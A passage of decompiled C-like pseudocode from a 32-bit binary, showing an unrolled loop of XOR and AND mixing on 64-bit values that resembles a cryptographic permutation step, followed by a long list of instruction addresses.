						 *(_t2149 - 4) =  *(_t1453 + _t1801 * 8 - 0xcc) &  *(_t2074 + _t1628 * 8 - 0x1ec) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1631 =  *(_t2149 - 0xc);
						_t2075 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2075 + 0x28 + _t1631 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2075 + 0x2c + _t1631 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1632 =  *(_t2149 - 0xc);
						_t1810 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1810 + _t1632 * 8 - 0x298);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1810 + _t1632 * 8 - 0x294);
						_t1633 =  *(_t2149 - 0xc);
						_t1811 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1811 + _t1633 * 8 - 0x58);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1811 + _t1633 * 8 - 0x54);
						_t1634 =  *(_t2149 - 0xc);
						_t1812 =  *((intOrPtr*)(_t2149 + 8));
						_t1463 =  *(_t2149 - 0xc);
						_t2080 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1812 + _t1634 * 8 - 0x60) &  *(_t2080 + _t1463 * 8 - 0x78) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1812 + _t1634 * 8 - 0x5c) &  *(_t2080 + _t1463 * 8 - 0x74) ^  *(_t2149 - 4);
						_t1813 =  *(_t2149 - 0xc);
						_t1464 =  *((intOrPtr*)(_t2149 + 8));
						_t1638 =  *(_t2149 - 0xc);
						_t2081 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1464 + _t1813 * 8 - 0xc8) &  *(_t2081 + _t1638 * 8 - 0x1e8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1464 + _t1813 * 8 - 0xc4) &  *(_t2081 + _t1638 * 8 - 0x1e4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1641 =  *(_t2149 - 0xc);
						_t2082 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2082 + 0x30 + _t1641 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2082 + 0x34 + _t1641 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1642 =  *(_t2149 - 0xc);
						_t1822 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1822 + _t1642 * 8 - 0x290);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1822 + _t1642 * 8 - 0x28c);
						_t1643 =  *(_t2149 - 0xc);
						_t1823 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1823 + _t1643 * 8 - 0x50);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1823 + _t1643 * 8 - 0x4c);
						_t1644 =  *(_t2149 - 0xc);
						_t1824 =  *((intOrPtr*)(_t2149 + 8));
						_t1474 =  *(_t2149 - 0xc);
						_t2087 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1824 + _t1644 * 8 - 0x58) &  *(_t2087 + _t1474 * 8 - 0x70) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1824 + _t1644 * 8 - 0x54) &  *(_t2087 + _t1474 * 8 - 0x6c) ^  *(_t2149 - 4);
						_t1825 =  *(_t2149 - 0xc);
						_t1475 =  *((intOrPtr*)(_t2149 + 8));
						_t1648 =  *(_t2149 - 0xc);
						_t2088 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1475 + _t1825 * 8 - 0xc0) &  *(_t2088 + _t1648 * 8 - 0x1e0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1475 + _t1825 * 8 - 0xbc) &  *(_t2088 + _t1648 * 8 - 0x1dc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1651 =  *(_t2149 - 0xc);
						_t2089 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2089 + 0x38 + _t1651 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2089 + 0x3c + _t1651 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1652 =  *(_t2149 - 0xc);
						_t1834 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1834 + _t1652 * 8 - 0x288);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1834 + _t1652 * 8 - 0x284);
						_t1653 =  *(_t2149 - 0xc);
						_t1835 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1835 + _t1653 * 8 - 0x48);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1835 + _t1653 * 8 - 0x44);
						_t1654 =  *(_t2149 - 0xc);
						_t1836 =  *((intOrPtr*)(_t2149 + 8));
						_t1485 =  *(_t2149 - 0xc);
						_t2094 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1836 + _t1654 * 8 - 0x50) &  *(_t2094 + _t1485 * 8 - 0x68) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1836 + _t1654 * 8 - 0x4c) &  *(_t2094 + _t1485 * 8 - 0x64) ^  *(_t2149 - 4);
						_t1837 =  *(_t2149 - 0xc);
						_t1486 =  *((intOrPtr*)(_t2149 + 8));
						_t1658 =  *(_t2149 - 0xc);
						_t2095 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1486 + _t1837 * 8 - 0xb8) &  *(_t2095 + _t1658 * 8 - 0x1d8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1486 + _t1837 * 8 - 0xb4) &  *(_t2095 + _t1658 * 8 - 0x1d4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1661 =  *(_t2149 - 0xc);
						_t2096 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2096 + 0x40 + _t1661 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2096 + 0x44 + _t1661 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1662 =  *(_t2149 - 0xc);
						_t1846 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1846 + _t1662 * 8 - 0x280);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1846 + _t1662 * 8 - 0x27c);
						_t1663 =  *(_t2149 - 0xc);
						_t1847 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1847 + _t1663 * 8 - 0x40);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1847 + _t1663 * 8 - 0x3c);
						_t1664 =  *(_t2149 - 0xc);
						_t1848 =  *((intOrPtr*)(_t2149 + 8));
						_t1496 =  *(_t2149 - 0xc);
						_t2101 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1848 + _t1664 * 8 - 0x48) &  *(_t2101 + _t1496 * 8 - 0x60) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1848 + _t1664 * 8 - 0x44) &  *(_t2101 + _t1496 * 8 - 0x5c) ^  *(_t2149 - 4);
						_t1849 =  *(_t2149 - 0xc);
						_t1497 =  *((intOrPtr*)(_t2149 + 8));
						_t1668 =  *(_t2149 - 0xc);
						_t2102 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1497 + _t1849 * 8 - 0xb0) &  *(_t2102 + _t1668 * 8 - 0x1d0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1497 + _t1849 * 8 - 0xac) &  *(_t2102 + _t1668 * 8 - 0x1cc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1671 =  *(_t2149 - 0xc);
						_t2103 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2103 + 0x48 + _t1671 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2103 + 0x4c + _t1671 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1672 =  *(_t2149 - 0xc);
						_t1858 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1858 + _t1672 * 8 - 0x278);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1858 + _t1672 * 8 - 0x274);
						_t1673 =  *(_t2149 - 0xc);
						_t1859 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1859 + _t1673 * 8 - 0x38);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1859 + _t1673 * 8 - 0x34);
						_t1674 =  *(_t2149 - 0xc);
						_t1860 =  *((intOrPtr*)(_t2149 + 8));
						_t1507 =  *(_t2149 - 0xc);
						_t2108 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1860 + _t1674 * 8 - 0x40) &  *(_t2108 + _t1507 * 8 - 0x58) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1860 + _t1674 * 8 - 0x3c) &  *(_t2108 + _t1507 * 8 - 0x54) ^  *(_t2149 - 4);
						_t1861 =  *(_t2149 - 0xc);
						_t1508 =  *((intOrPtr*)(_t2149 + 8));
						_t1678 =  *(_t2149 - 0xc);
						_t2109 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1508 + _t1861 * 8 - 0xa8) &  *(_t2109 + _t1678 * 8 - 0x1c8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1508 + _t1861 * 8 - 0xa4) &  *(_t2109 + _t1678 * 8 - 0x1c4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1681 =  *(_t2149 - 0xc);
						_t2110 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2110 + 0x50 + _t1681 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2110 + 0x54 + _t1681 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1682 =  *(_t2149 - 0xc);
						_t1870 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1870 + _t1682 * 8 - 0x270);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1870 + _t1682 * 8 - 0x26c);
						_t1683 =  *(_t2149 - 0xc);
						_t1871 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1871 + _t1683 * 8 - 0x30);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1871 + _t1683 * 8 - 0x2c);
						_t1684 =  *(_t2149 - 0xc);
						_t1872 =  *((intOrPtr*)(_t2149 + 8));
						_t1518 =  *(_t2149 - 0xc);
						_t2115 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1872 + _t1684 * 8 - 0x38) &  *(_t2115 + _t1518 * 8 - 0x50) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1872 + _t1684 * 8 - 0x34) &  *(_t2115 + _t1518 * 8 - 0x4c) ^  *(_t2149 - 4);
						_t1873 =  *(_t2149 - 0xc);
						_t1519 =  *((intOrPtr*)(_t2149 + 8));
						_t1688 =  *(_t2149 - 0xc);
						_t2116 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1519 + _t1873 * 8 - 0xa0) &  *(_t2116 + _t1688 * 8 - 0x1c0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1519 + _t1873 * 8 - 0x9c) &  *(_t2116 + _t1688 * 8 - 0x1bc) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1691 =  *(_t2149 - 0xc);
						_t2117 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2117 + 0x58 + _t1691 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2117 + 0x5c + _t1691 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1692 =  *(_t2149 - 0xc);
						_t1882 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1882 + _t1692 * 8 - 0x268);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1882 + _t1692 * 8 - 0x264);
						_t1693 =  *(_t2149 - 0xc);
						_t1883 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1883 + _t1693 * 8 - 0x28);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1883 + _t1693 * 8 - 0x24);
						_t1694 =  *(_t2149 - 0xc);
						_t1884 =  *((intOrPtr*)(_t2149 + 8));
						_t1529 =  *(_t2149 - 0xc);
						_t2122 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1884 + _t1694 * 8 - 0x30) &  *(_t2122 + _t1529 * 8 - 0x48) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1884 + _t1694 * 8 - 0x2c) &  *(_t2122 + _t1529 * 8 - 0x44) ^  *(_t2149 - 4);
						_t1885 =  *(_t2149 - 0xc);
						_t1530 =  *((intOrPtr*)(_t2149 + 8));
						_t1698 =  *(_t2149 - 0xc);
						_t2123 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1530 + _t1885 * 8 - 0x98) &  *(_t2123 + _t1698 * 8 - 0x1b8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1530 + _t1885 * 8 - 0x94) &  *(_t2123 + _t1698 * 8 - 0x1b4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1701 =  *(_t2149 - 0xc);
						_t2124 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2124 + 0x60 + _t1701 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2124 + 0x64 + _t1701 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1702 =  *(_t2149 - 0xc);
						_t1894 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1894 + _t1702 * 8 - 0x260);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1894 + _t1702 * 8 - 0x25c);
						_t1703 =  *(_t2149 - 0xc);
						_t1895 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1895 + _t1703 * 8 - 0x20);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1895 + _t1703 * 8 - 0x1c);
						_t1704 =  *(_t2149 - 0xc);
						_t1896 =  *((intOrPtr*)(_t2149 + 8));
						_t1540 =  *(_t2149 - 0xc);
						_t2129 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1896 + _t1704 * 8 - 0x28) &  *(_t2129 + _t1540 * 8 - 0x40) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1896 + _t1704 * 8 - 0x24) &  *(_t2129 + _t1540 * 8 - 0x3c) ^  *(_t2149 - 4);
						_t1897 =  *(_t2149 - 0xc);
						_t1541 =  *((intOrPtr*)(_t2149 + 8));
						_t1708 =  *(_t2149 - 0xc);
						_t2130 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1541 + _t1897 * 8 - 0x90) &  *(_t2130 + _t1708 * 8 - 0x1b0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1541 + _t1897 * 8 - 0x8c) &  *(_t2130 + _t1708 * 8 - 0x1ac) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1711 =  *(_t2149 - 0xc);
						_t2131 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2131 + 0x68 + _t1711 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2131 + 0x6c + _t1711 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1712 =  *(_t2149 - 0xc);
						_t1906 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1906 + _t1712 * 8 - 0x258);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1906 + _t1712 * 8 - 0x254);
						_t1713 =  *(_t2149 - 0xc);
						_t1907 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1907 + _t1713 * 8 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1907 + _t1713 * 8 - 0x14);
						_t1714 =  *(_t2149 - 0xc);
						_t1908 =  *((intOrPtr*)(_t2149 + 8));
						_t1551 =  *(_t2149 - 0xc);
						_t2136 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1908 + _t1714 * 8 - 0x20) &  *(_t2136 + _t1551 * 8 - 0x38) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1908 + _t1714 * 8 - 0x1c) &  *(_t2136 + _t1551 * 8 - 0x34) ^  *(_t2149 - 4);
						_t1909 =  *(_t2149 - 0xc);
						_t1552 =  *((intOrPtr*)(_t2149 + 8));
						_t1718 =  *(_t2149 - 0xc);
						_t2137 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1552 + _t1909 * 8 - 0x88) &  *(_t2137 + _t1718 * 8 - 0x1a8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1552 + _t1909 * 8 - 0x84) &  *(_t2137 + _t1718 * 8 - 0x1a4) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1721 =  *(_t2149 - 0xc);
						_t2138 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2138 + 0x70 + _t1721 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2138 + 0x74 + _t1721 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1722 =  *(_t2149 - 0xc);
						_t1918 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1918 + _t1722 * 8 - 0x250);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1918 + _t1722 * 8 - 0x24c);
						_t1723 =  *(_t2149 - 0xc);
						_t1919 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1919 + _t1723 * 8 - 0x10);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1919 + _t1723 * 8 - 0xc);
						_t1724 =  *(_t2149 - 0xc);
						_t1920 =  *((intOrPtr*)(_t2149 + 8));
						_t1562 =  *(_t2149 - 0xc);
						_t2143 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1920 + _t1724 * 8 - 0x18) &  *(_t2143 + _t1562 * 8 - 0x30) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1920 + _t1724 * 8 - 0x14) &  *(_t2143 + _t1562 * 8 - 0x2c) ^  *(_t2149 - 4);
						_t1921 =  *(_t2149 - 0xc);
						_t1563 =  *((intOrPtr*)(_t2149 + 8));
						_t1728 =  *(_t2149 - 0xc);
						_t2144 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1563 + _t1921 * 8 - 0x80) &  *(_t2144 + _t1728 * 8 - 0x1a0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1563 + _t1921 * 8 - 0x7c) &  *(_t2144 + _t1728 * 8 - 0x19c) ^  *(_t2149 - 4);
						L0040EDF8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						_t1731 =  *(_t2149 - 0xc);
						_t2145 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2145 + 0x78 + _t1731 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2145 + 0x7c + _t1731 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040EDFE();
						L0040EDF8();
						_t1391 =  *(_t2149 - 0x14) &  *0x41112c;
						 *(_t2149 - 0x18) =  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) ^  *(_t2149 - 0x18) &  *0x411128;
						 *(_t2149 - 0x14) =  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) ^  *(_t2149 - 0x14) &  *0x41112c;
						 *(_t2149 - 0xc) =  *(_t2149 - 0xc) + 0x10;
						continue;
					}
					L3:
					return _t1391;
					L4:
				}
			}

0x00406639
0x00406639
0x00406639
0x0040663f
0x00406642
0x00406645
0x0040664b
0x00406651
0x00406654
0x0040665a
0x0040665d
0x00406660
0x00406677
0x0040667a
0x0040667d
0x00406680
0x00406697
0x0040669a
0x0040669d
0x004066a0
0x004066a3
0x004066a6
0x004066cb
0x004066ce
0x004066d1
0x004066d4
0x004066d7
0x004066da
0x004066ff
0x00406702
0x0040670d
0x00406718
0x0040671b
0x00406726
0x00406731
0x00406734
0x00406737
0x0040673a
0x00406741
0x00406747
0x0040674a
0x0040674d
0x00406764
0x00406767
0x0040676a
0x0040676d
0x0040677e
0x00406781
0x00406784
0x00406787
0x0040678a
0x0040678d
0x004067b2
0x004067b5
0x004067b8
0x004067bb
0x004067be
0x004067c1
0x004067e6
0x004067e9
0x004067f4
0x004067ff
0x00406802
0x0040680d
0x00406818
0x0040681b
0x0040681e
0x00406822
0x00406829
0x0040682f
0x00406832
0x00406835
0x0040684c
0x0040684f
0x00406852
0x00406855
0x00406866
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406875
0x00406894
0x00406897
0x0040689a
0x0040689d
0x004068a0
0x004068a3
0x004068c8
0x004068cb
0x004068d6
0x004068e1
0x004068e4
0x004068ef
0x004068fa
0x004068fd
0x00406900
0x00406904
0x0040690b
0x00406911
0x00406914
0x00406917
0x0040692e
0x00406931
0x00406934
0x00406937
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406982
0x00406985
0x004069aa
0x004069ad
0x004069b8
0x004069c3
0x004069c6
0x004069d1
0x004069dc
0x004069df
0x004069e2
0x004069e6
0x004069ed
0x004069f3
0x004069f6
0x004069f9
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a2a
0x00406a2d
0x00406a30
0x00406a33
0x00406a36
0x00406a39
0x00406a58
0x00406a5b
0x00406a5e
0x00406a61
0x00406a64
0x00406a67
0x00406a8c
0x00406a8f
0x00406a9a
0x00406aa5
0x00406aa8
0x00406ab3
0x00406abe
0x00406ac1
0x00406ac4
0x00406ac8
0x00406acf
0x00406ad5
0x00406ad8
0x00406adb
0x00406af2
0x00406af5
0x00406af8
0x00406afb
0x00406b0c
0x00406b0f
0x00406b12
0x00406b15
0x00406b18
0x00406b1b
0x00406b34
0x00406b37
0x00406b3a
0x00406b3d
0x00406b40
0x00406b43
0x00406b68
0x00406b6b
0x00406b76
0x00406b81
0x00406b84
0x00406b8f
0x00406b9a
0x00406b9d
0x00406ba0
0x00406ba4
0x00406bab
0x00406bb1
0x00406bb4
0x00406bb7
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406be8
0x00406beb
0x00406bee
0x00406bf1
0x00406bf4
0x00406bf7
0x00406c10
0x00406c13
0x00406c16
0x00406c19
0x00406c1c
0x00406c1f
0x00406c44
0x00406c47
0x00406c52
0x00406c5d
0x00406c60
0x00406c6b
0x00406c76
0x00406c79
0x00406c7c
0x00406c80
0x00406c87
0x00406c8d
0x00406c90
0x00406c93
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cc4
0x00406cc7
0x00406cca
0x00406ccd
0x00406cd0
0x00406cd3
0x00406cec
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf8
0x00406cfb
0x00406d20
0x00406d23
0x00406d2e
0x00406d39
0x00406d3c
0x00406d47
0x00406d52
0x00406d55
0x00406d58
0x00406d5c
0x00406d63
0x00406d69
0x00406d6c
0x00406d6f
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406da0
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406dc8
0x00406dcb
0x00406dce
0x00406dd1
0x00406dd4
0x00406dd7
0x00406dfc
0x00406dff
0x00406e0a
0x00406e15
0x00406e18
0x00406e23
0x00406e2e
0x00406e31
0x00406e34
0x00406e38
0x00406e3f
0x00406e45
0x00406e48
0x00406e4b
0x00406e62
0x00406e65
0x00406e68
0x00406e6b
0x00406e7c
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406ed8
0x00406edb
0x00406ee6
0x00406ef1
0x00406ef4
0x00406eff
0x00406f0a
0x00406f0d
0x00406f10
0x00406f14
0x00406f1b
0x00406f21
0x00406f24
0x00406f27
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f58
0x00406f5b
0x00406f5e
0x00406f61
0x00406f64
0x00406f67
0x00406f80
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406fb4
0x00406fb7
0x00406fc2
0x00406fcd
0x00406fd0
0x00406fdb
0x00406fe6
0x00406fe9
0x00406fec
0x00406ff0
0x00406ff7
0x00406ffd
0x00407000
0x00407003
0x0040701a
0x0040701d
0x00407020
0x00407023
0x00407034
0x00407037
0x0040703a
0x0040703d
0x00407040
0x00407043
0x0040705c
0x0040705f
0x00407062
0x00407065
0x00407068
0x0040706b
0x00407090
0x00407093
0x0040709e
0x004070a9
0x004070ac
0x004070b7
0x004070c2
0x004070c5
0x004070c8
0x004070cc
0x004070d3
0x004070d9
0x004070dc
0x004070df
0x004070f6
0x004070f9
0x004070fc
0x004070ff
0x00407110
0x00407113
0x00407116
0x00407119
0x0040711c
0x0040711f
0x00407138
0x0040713b
0x0040713e
0x00407141
0x00407144
0x00407147
0x0040716c
0x0040716f
0x0040717a
0x00407185
0x00407188
0x00407193
0x0040719e
0x004071a1
0x004071a4
0x004071a8
0x004071af
0x004071b5
0x004071b8
0x004071bb
0x004071d2
0x004071d5
0x004071d8
